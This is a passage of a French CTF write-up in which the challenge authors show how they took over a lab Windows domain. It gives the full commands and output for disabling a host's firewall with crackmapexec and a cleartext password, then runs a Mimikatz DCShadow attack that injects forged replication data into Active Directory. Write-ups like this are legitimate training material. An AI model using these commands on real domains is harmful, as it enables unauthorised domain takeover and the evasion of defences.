SMB         10.69.88.23     445    CLIENT01         Firewall Policy                       BlockInbound,AllowOutbound
SMB         10.69.88.23     445    CLIENT01         LocalFirewallRules                    N/A (GPO-store only)
SMB         10.69.88.23     445    CLIENT01         LocalConSecRules                      N/A (GPO-store only)
SMB         10.69.88.23     445    CLIENT01         InboundUserNotification               Enable
SMB         10.69.88.23     445    CLIENT01         RemoteManagement                      Disable
SMB         10.69.88.23     445    CLIENT01         UnicastResponseToMulticast            Enable
SMB         10.69.88.23     445    CLIENT01         
SMB         10.69.88.23     445    CLIENT01         Logging:
SMB         10.69.88.23     445    CLIENT01         LogAllowedConnections                 Disable
SMB         10.69.88.23     445    CLIENT01         LogDroppedConnections                 Disable
SMB         10.69.88.23     445    CLIENT01         FileName                              %systemroot%\system32\LogFiles\Firewall\pfirewall.log
SMB         10.69.88.23     445    CLIENT01         MaxFileSize                           4096
SMB         10.69.88.23     445    CLIENT01         
SMB         10.69.88.23     445    CLIENT01         
SMB         10.69.88.23     445    CLIENT01         Public Profile Settings:
SMB         10.69.88.23     445    CLIENT01         ----------------------------------------------------------------------
SMB         10.69.88.23     445    CLIENT01         State                                 ON
SMB         10.69.88.23     445    CLIENT01         Firewall Policy                       BlockInbound,AllowOutbound
SMB         10.69.88.23     445    CLIENT01         LocalFirewallRules                    N/A (GPO-store only)
SMB         10.69.88.23     445    CLIENT01         LocalConSecRules                      N/A (GPO-store only)
SMB         10.69.88.23     445    CLIENT01         InboundUserNotification               Enable
SMB         10.69.88.23     445    CLIENT01         RemoteManagement                      Disable
SMB         10.69.88.23     445    CLIENT01         UnicastResponseToMulticast            Enable
SMB         10.69.88.23     445    CLIENT01         
SMB         10.69.88.23     445    CLIENT01         Logging:
SMB         10.69.88.23     445    CLIENT01         LogAllowedConnections                 Disable
SMB         10.69.88.23     445    CLIENT01         LogDroppedConnections                 Disable
SMB         10.69.88.23     445    CLIENT01         FileName                              %systemroot%\system32\LogFiles\Firewall\pfirewall.log
SMB         10.69.88.23     445    CLIENT01         MaxFileSize                           4096
SMB         10.69.88.23     445    CLIENT01         
SMB         10.69.88.23     445    CLIENT01         Ok.

Tous les profils sont donc activés. Ok, maintenant, on va désactiver l’ensemble des profils du pare-feu pour éviter tout soucis. Cela se fait avec la commande netsh advfirewall set allprofiles state off.

$ sudo crackmapexec smb 10.69.88.23 -u jsnow -p ":8n2K@j4hfUK#5Jek#" -x 'netsh advfirewall set allprofiles state off'
SMB         10.69.88.23     445    CLIENT01         [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:CLIENT01) (domain:NORZH) (signing:False) (SMBv1:True)
SMB         10.69.88.23     445    CLIENT01         [+] NORZH\jsnow::8n2K@j4hfUK#5Jek# (Pwn3d!)
SMB         10.69.88.23     445    CLIENT01         [+] Executed command 

Une petite vérification, histoire de s’assurer que la commande est bien passée et a eu les actions souhaitées.

$ sudo crackmapexec smb 10.69.88.23 -u jsnow -p ":8n2K@j4hfUK#5Jek#" -x 'netsh advfirewall show allprofiles' 
SMB         10.69.88.23     445    CLIENT01         [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:CLIENT01) (domain:NORZH) (signing:False) (SMBv1:True)
SMB         10.69.88.23     445    CLIENT01         [+] NORZH\jsnow::8n2K@j4hfUK#5Jek# (Pwn3d!)
SMB         10.69.88.23     445    CLIENT01         [+] Executed command 
SMB         10.69.88.23     445    CLIENT01         Domain Profile Settings:
SMB         10.69.88.23     445    CLIENT01         ----------------------------------------------------------------------
SMB         10.69.88.23     445    CLIENT01         State                                 OFF
SMB         10.69.88.23     445    CLIENT01         Firewall Policy                       BlockInbound,AllowOutbound
SMB         10.69.88.23     445    CLIENT01         LocalFirewallRules                    N/A (GPO-store only)
SMB         10.69.88.23     445    CLIENT01         LocalConSecRules                      N/A (GPO-store only)
SMB         10.69.88.23     445    CLIENT01         InboundUserNotification               Enable
SMB         10.69.88.23     445    CLIENT01         RemoteManagement                      Disable
SMB         10.69.88.23     445    CLIENT01         UnicastResponseToMulticast            Enable
SMB         10.69.88.23     445    CLIENT01         
SMB         10.69.88.23     445    CLIENT01         Logging:
SMB         10.69.88.23     445    CLIENT01         LogAllowedConnections                 Disable
SMB         10.69.88.23     445    CLIENT01         LogDroppedConnections                 Disable
SMB         10.69.88.23     445    CLIENT01         FileName                              %systemroot%\system32\LogFiles\Firewall\pfirewall.log
SMB         10.69.88.23     445    CLIENT01         MaxFileSize                           4096
SMB         10.69.88.23     445    CLIENT01         
SMB         10.69.88.23     445    CLIENT01         
SMB         10.69.88.23     445    CLIENT01         Private Profile Settings:
SMB         10.69.88.23     445    CLIENT01         ----------------------------------------------------------------------
SMB         10.69.88.23     445    CLIENT01         State                                 OFF
SMB         10.69.88.23     445    CLIENT01         Firewall Policy                       BlockInbound,AllowOutbound
SMB         10.69.88.23     445    CLIENT01         LocalFirewallRules                    N/A (GPO-store only)
SMB         10.69.88.23     445    CLIENT01         LocalConSecRules                      N/A (GPO-store only)
SMB         10.69.88.23     445    CLIENT01         InboundUserNotification               Enable
SMB         10.69.88.23     445    CLIENT01         RemoteManagement                      Disable
SMB         10.69.88.23     445    CLIENT01         UnicastResponseToMulticast            Enable
SMB         10.69.88.23     445    CLIENT01         
SMB         10.69.88.23     445    CLIENT01         Logging:
SMB         10.69.88.23     445    CLIENT01         LogAllowedConnections                 Disable
SMB         10.69.88.23     445    CLIENT01         LogDroppedConnections                 Disable
SMB         10.69.88.23     445    CLIENT01         FileName                              %systemroot%\system32\LogFiles\Firewall\pfirewall.log
SMB         10.69.88.23     445    CLIENT01         MaxFileSize                           4096
SMB         10.69.88.23     445    CLIENT01         
SMB         10.69.88.23     445    CLIENT01         
SMB         10.69.88.23     445    CLIENT01         Public Profile Settings:
SMB         10.69.88.23     445    CLIENT01         ----------------------------------------------------------------------
SMB         10.69.88.23     445    CLIENT01         State                                 OFF
SMB         10.69.88.23     445    CLIENT01         Firewall Policy                       BlockInbound,AllowOutbound
SMB         10.69.88.23     445    CLIENT01         LocalFirewallRules                    N/A (GPO-store only)
SMB         10.69.88.23     445    CLIENT01         LocalConSecRules                      N/A (GPO-store only)
SMB         10.69.88.23     445    CLIENT01         InboundUserNotification               Enable
SMB         10.69.88.23     445    CLIENT01         RemoteManagement                      Disable
SMB         10.69.88.23     445    CLIENT01         UnicastResponseToMulticast            Enable
SMB         10.69.88.23     445    CLIENT01         
SMB         10.69.88.23     445    CLIENT01         Logging:
SMB         10.69.88.23     445    CLIENT01         LogAllowedConnections                 Disable
SMB         10.69.88.23     445    CLIENT01         LogDroppedConnections                 Disable
SMB         10.69.88.23     445    CLIENT01         FileName                              %systemroot%\system32\LogFiles\Firewall\pfirewall.log
SMB         10.69.88.23     445    CLIENT01         MaxFileSize                           4096
SMB         10.69.88.23     445    CLIENT01         
SMB         10.69.88.23     445    CLIENT01         Ok.


Connexion RDP

Tout semble prêt pour l’exploitation ! On peut donc commencer par se connecter en RDP à la machine cliente. J’utilise l’outil remmina car il permet de mettre en place un dossier partagé entre la machine attaquante et la cible de la connexion RDP. On va voir que cela s’avère particulièrement utile dans notre cas.

Connexion RDP


Exploitation DC Shadow

L’exploitation de l’attaque DCShadow peut se faire avec Mimikatz. Pour cela, on va apporter une version de l’outil sur la machine cible au travers du dossier partagé créé auparavant. Ainsi, on pourra l’exécuter directement depuis ici.

L’attaque se réalise en plusieurs étapes :

  • Préparation des données à modifier puis création d’un faux contrôleur de domaine (simulation) à l’aide de mimikatz ;
  • Enregistrement du faux DC dans l’infrastructure cible, ce qui provoque une réplication entre le DC légitime et notre faux DC et par conséquent, une validation des données injectées ;
  • Dés-enregistrement du DC illégitime.

Ainsi, 2 terminaux Mimikatz sont nécessaires. Point important, il est nécessaire d’exécuter mimikatz en tant qu’administrateur pour avoir les droits nécessaires et réussir l’attaque.

Le premier terminal est utilisé afin d’enregistrer le faux contrôleur de domaine, à l’aide des commandes suivantes ;

# Chargement d'un driver pour outrepasser les restrictions et pouvoir interagir avec LSASS
mimikatz # !+

# Elevation du process à SYSTEM (pas de token::elevate car cela s'applique sur un thread)
mimikatz # !processtoken

# Utilisation du module lsadump afin de démarrer le faux DC et préparer l'injection
mimikatz # lsadump::dcshadow /object:dtargaryen /attribute:description /value:"TheGame" /replOriginatingUid:{00000000-0000-0000-0000-000000000000} /replOriginatingTime:"2017-01-01 09:00:00" /replOriginatingUsn:42

Le second terminal sert quant à lui à pousser les données souhaitées sur le vrai domaine à l’aide de la réplication.

# Utilisation du module lsadump afin de pousser les modifications sur le domaine
mimikatz # lsadump::dcshadow /push

La capture suivante illustre l’attaque sur la machine cliente ainsi que le résultat obtenu. Un message “Sync Done” suivi du dés-enregistrement du faux contrôleur semble indique la réussite de l’attaque.

DCShadow GoP


Vérification et récupération du quatrième flag

Afin de vérifier si la nouvelle description ainsi que les métadonnées ont été poussées, on peut utiliser l’utilitaire repadmin sur le contrôleur de domaine. Ainsi, on va demander à afficher métadonnées de réplication pour les différents attributs de l’utilisateur Daenerys Targaryen. Cela peut se faire par l’exécution de repadmin via crackmapexec.

sudo ./cme smb 10.34.67.4 -u jsnow -p ":8n2K@j4hfUK#5Jek#" -x 'repadmin /showobjmeta DC01.NORZH.LAN "CN=Daenerys Targaryen,CN=Users,DC=NORZH,DC=LAN"'
SMB         10.34.67.4      445    DC01             [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:DC01) (domain:NORZH) (signing:True) (SMBv1:True)
SMB         10.34.67.4      445    DC01             [+] NORZH\jsnow::8n2K@j4hfUK#5Jek# (Pwn3d!)
SMB         10.34.67.4      445    DC01             [+] Executed command 
SMB         10.34.67.4      445    DC01             27 entries.
SMB         10.34.67.4      445    DC01             Loc.USN                           Originating DSA  Org.USN  Org.Time/Date        Ver Attribute
SMB         10.34.67.4      445    DC01             =======                           =============== ========= =============        === =========
SMB         10.34.67.4      445    DC01             12736              Default-First-Site-Name\DC01     12736 2018-11-25 16:31:16    1 objectClass
SMB         10.34.67.4      445    DC01             12736              Default-First-Site-Name\DC01     12736 2018-11-25 16:31:16    1 cn
SMB         10.34.67.4      445    DC01             12736              Default-First-Site-Name\DC01     12736 2018-11-25 16:31:16    1 sn
SMB         10.34.67.4      445    DC01             102469      00000000-0000-0000-0000-000000000000        42 2017-01-01 09:00:00    2 description
SMB         10.34.67.4      445    DC01             12736              Default-First-Site-Name\DC01     12736 2018-11-25 16:31:16    1 givenName
SMB         10.34.67.4      445    DC01             12736              Default-First-Site-Name\DC01     12736 2018-11-25 16:31:16    1 instanceType
SMB         10.34.67.4      445    DC01             12736              Default-First-Site-Name\DC01     12736 2018-11-25 16:31:16    1 whenCreated
SMB         10.34.67.4      445    DC01             12736              Default-First-Site-Name\DC01     12736 2018-11-25 16:31:16    1 displayName
SMB         10.34.67.4      445    DC01             12736              Default-First-Site-Name\DC01     12736 2018-11-25 16:31:16    1 nTSecurityDescriptor
SMB         10.34.67.4      445    DC01             12736              Default-First-Site-Name\DC01     12736 2018-11-25 16:31:16    1 name
SMB         10.34.67.4      445    DC01             12741              Default-First-Site-Name\DC01     12741 2018-11-25 16:31:16    4 userAccountControl
SMB         10.34.67.4      445    DC01             12737              Default-First-Site-Name\DC01     12737 2018-11-25 16:31:16    1 codePage
SMB         10.34.67.4      445    DC01             12737              Default-First-Site-Name\DC01     12737 2018-11-25 16:31:16    1 countryCode
SMB         10.34.67.4      445    DC01             12738              Default-First-Site-Name\DC01     12738 2018-11-25 16:31:16    2 dBCSPwd
SMB         10.34.67.4      445    DC01             12737              Default-First-Site-Name\DC01     12737 2018-11-25 16:31:16    1 logonHours
SMB         10.34.67.4      445    DC01             12738              Default-First-Site-Name\DC01     12738 2018-11-25 16:31:16    2 unicodePwd
SMB         10.34.67.4      445    DC01             12738              Default-First-Site-Name\DC01     12738 2018-11-25 16:31:16    2 ntPwdHistory
SMB         10.34.67.4      445    DC01             12738              Default-First-Site-Name\DC01     12738 2018-11-25 16:31:16    2 pwdLastSet
SMB         10.34.67.4      445    DC01             12737              Default-First-Site-Name\DC01     12737 2018-11-25 16:31:16    1 primaryGroupID
SMB         10.34.67.4      445    DC01             12739              Default-First-Site-Name\DC01     12739 2018-11-25 16:31:16    1 supplementalCredentials
SMB         10.34.67.4      445    DC01             12736              Default-First-Site-Name\DC01     12736 2018-11-25 16:31:16    1 objectSid
SMB         10.34.67.4      445    DC01             12737              Default-First-Site-Name\DC01     12737 2018-11-25 16:31:16    1 accountExpires
SMB         10.34.67.4      445    DC01             12738              Default-First-Site-Name\DC01     12738 2018-11-25 16:31:16    2 lmPwdHistory
SMB         10.34.67.4      445    DC01             12736              Default-First-Site-Name\DC01     12736 2018-11-25 16:31:16    1 sAMAccountName
SMB         10.34.67.4      445    DC01             12736              Default-First-Site-Name\DC01     12736 2018-11-25 16:31:16    1 sAMAccountType
SMB         10.34.67.4      445    DC01             12736              Default-First-Site-Name\DC01     12736 2018-11-25 16:31:16    1 userPrincipalName
SMB         10.34.67.4      445    DC01             12736              Default-First-Site-Name\DC01     12736 2018-11-25 16:31:16    1 objectCategory
SMB         10.34.67.4      445    DC01             0 entries.
SMB         10.34.67.4      445    DC01             Type    Attribute     Last Mod Time                            Originating DSA  Loc.USN Org.USN Ver
SMB         10.34.67.4      445    DC01             ======= ============  =============                           ================= ======= ======= ===
SMB         10.34.67.4      445    DC01             Distinguished Name
SMB         10.34.67.4      445    DC01             =============================

Ainsi, on observe que la modification a bien été faite et que les métadonnées demandées ont bien été injectées Parfait ! Cela indique que tout a fonctionné ! L’énoncé de ce challenge indique que si l’exploitation a été réussie, alors la description de l’utilisateur Jon Snow (jsnow) devrait avoir été remplacée par le flag. On attend quelques instants puis on file vérifier l’utilisateur !

rpcclient $> queryuser 0x451
    User Name   :   jsnow
    Full Name   :   Jon Snow
    Home Drive  :   
    Dir Drive   :   
    Profile Path:   
    Logon Script:   
    Description :   ENSIBS{F33l_Th3_P0wer_0f_DCSh4d0w}
    Workstations:   
    Comment     :   
    Remote Dial :
    Logon Time               :  Sun, 27 Jan 2019 20:37:45 CET
    Logoff Time              :  Thu, 01 Jan 1970 01:00:00 CET
    Kickoff Time             :  Thu, 14 Sep 30828 04:48:05 CEST
    Password last set Time   :  Sun, 25 Nov 2018 16:28:20 CET
    Password can change Time :  Mon, 26 Nov 2018 16:28:20 CET
    Password must change Time:  Thu, 14 Sep 30828 04:48:05 CEST
    unknown_2[0..31]...
    user_rid :  0x451
    group_rid:  0x200
    acb_info :  0x00000210
    fields_present: 0x00ffffff
    logon_divs: 168
    bad_password_count: 0x00000000
    logon_count:    0x00000041
    padding1[0..7]...
    logon_hrs[0..21]...

B00m ! Dernier flag attrapé ! Contrôle total du domaine et traces pouvant être effacées, mais également fin de cette épopée.


RETEX et mot de la fin

Ce paragraphe est plus un retour personnel sur le challenge, dans la mesure où nous l’avons conçu pour le Norzh CTF avec l’idée en tête de réaliser un scénario de challenge basé sur des infrastructures Windows. Avec quelques jours de recul et quelques retours, plusieurs éléments et erreurs peuvent être remontés :

  • L’aspect découverte du DC, sur un autre LAN, n’avait au départ pas été pris en compte car le challenge avec été créé sur un seul LAN. Cela a rajouté une marche de complexité non prévue et un 5e flag aurait pu être placé ici ;
  • L’utilisation de fichiers dits “privés” dans les répertoires de l’administrateur local puis sur le contrôleur de domaine altère légèrement le réalisme du scénario dans la mesure où dans la réalité, il est rare d’en trouver ici. Néanmoins, il nous fallait un moyen de poser les flags ainsi que les énoncés à un endroit ;
  • Certains énoncés, tels que celui du DC Shadow, pouvaient ne pas être clairs.

Nous sommes néanmoins heureux d’avoir réalisé ce challenge et espérons que l’ensemble des participants l’ont apprécié !

N’hésitez pas nous faire part de vos retours ou vos questions, si besoin, via Twitter (@Haaxmax et @AzrakelK). Pour les personnes souhaitant refaire le challenge, il devrait être également possible de vous donner les machines virtuelles, au cas par cas.

Santhacklaus CTF 2018 - Solved Challenges